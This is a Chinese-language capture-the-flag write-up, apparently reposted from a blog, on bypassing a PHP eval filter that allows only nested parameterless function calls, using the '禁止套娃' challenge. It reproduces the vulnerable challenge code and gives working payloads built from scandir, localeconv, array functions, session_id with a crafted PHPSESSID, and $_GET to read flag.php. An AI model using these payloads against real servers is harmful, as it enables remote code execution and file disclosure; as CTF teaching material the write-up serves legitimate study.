PHP无参RCE
<h1 id="介绍">介绍</h1><p>无参数RCE的形式如下,即只允许函数“套娃”,不允许传入其他参数。</p>
<pre><code class="language-php">if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
preg_replace('/+\((?R)?\)/', NULL, $code)
</code></pre>
<h1 id="例题gxyctf2019禁止套娃">例题「禁止套娃」</h1>
<pre><code class="language-php"><?php
include("flag.php");
echo "flag在哪里呢?<br>";
$_GET['exp'] = "chr(ord());";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
</code></pre>
<p>由于无法传入多余参数来调用函数,我们可以尝试利用与数组有关的函数与rand(),next(),prev()等数组操作函数,从而控制数组的取值。</p>
<p>我们的目标是读取flag.php,因此我们需要一个包含“flag.php”的数组,可以想到利用scandir(".")得到该数组</p>
<p>但由于函数调用必须是无参的,则可以利用 current(localeconv()) 或 pos(localconv()) 来构造小数点,其中localeconv()函数返回了货币设置数组,恰好首元素为小数点字符</p>
<p>通过 <code>exp=print_r(scandir(current(localeconv())))</code> 已经获取到了包含“flag.php”的数组</p>
<p><img src="https://img2020.cnblogs.com/blog/2114178/202008/2114178-20200802172517440-1262931261.png" alt="" loading="lazy"></p>
<p>接下来的工作就将这个字符串提取出来,再执行readfile、show_source、highlight_file、file_get_contents</p>
<p>此外我们可通过eval + Request的一些参数来构造参数</p>
<h2 id="数组利用">数组利用</h2>
<pre><code class="language-php">// 随机获取
exp=print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv()))))));
// 获取倒数第二个元素
exp=print_r(highlight_file(next(array_reverse(scandir(current(localeconv()))))));
</code></pre>
<h2 id="session利用">session利用</h2>
<ol>
<li>eval + url解码,在本题中由于“dec”被过滤,无法使用<br>
由于session_id中不能出现引号,因此通过<code>两次url编码</code>来解决</li>
</ol>
<pre><code>exp=eval(urldecode(session_id(session_start())));
PHPSESSID=highlight_file(%2522flag.php%2522)%3B
</code></pre>
<ol start="2">
<li>eval + chr 拼接</li>
</ol>
<pre><code>exp=eval(session_id(session_start())));
PHPSESSID=highlight_file(chr(102).chr(108).chr(97).chr(103).chr(46).chr(112).chr(104).chr(112))%3b
// `%3b`为封号,否则eval将无法解析语句,原语句为`eval(highlight_file("flag.php"))`
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/2114178/202008/2114178-20200802181517057-1623816369.png" alt="" loading="lazy"><br>
<img src="https://img2020.cnblogs.com/blog/2114178/202008/2114178-20200802181552295-1845165658.png" alt="" loading="lazy"></p>
<ol start="3">
<li>eval + $_GET传参<br>
由实验1发现PHPSESSID进制传入引号,从而想到可以使用<code>$_GET</code>来构造一个密码为a的传值方式,这与$_GET["a"]是等价的</li>
</ol>
<pre><code>exp=eval(session_id(session_start()));&a=flag.php
PHPSESSID=highlight_file($_GET)%3b
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/2114178/202008/2114178-20200802184626657-723403581.png" alt="" loading="lazy"><br>
<img src="https://img2020.cnblogs.com/blog/2114178/202008/2114178-20200802184745304-812518572.png" alt="" loading="lazy"></p>
<ol start="4">
<li>仅获取字符串</li>
</ol>
<pre><code>exp=highlight_file(session_id(session_start()));&a=flag.php
PHPSESSID=flag.php
</code></pre>
<h2 id="headers利用">headers利用</h2>
<ol>
<li>getallheaders()<br>
原理基本一致,本题中“et”被屏蔽因此无法利用</li>
</ol>
<h1 id="常用函数总结">常用函数总结</h1>
<p>array_rand()、array_flip()<br>
array_reverse()<br>
next()、prev()、end()、current()、pos()<br>
getallheaders()<br>
chr()、ord()、hex2bin()、<br>
session_id()、session_start()<br>
show_source()、readfile()、highlight_file()、file_get_contents()<br>
current(localeconv())<br>
scandir()、chdir()、getpwd()<br>
next(scandir(current(localeconv())));<br>
chdir(next(scandir(current(localeconv()))));<br>
$_GET、$_POST、$_FILE</p><br><br>
来源:https://www.cnblogs.com/chir/p/13420148.html
頁:
[1]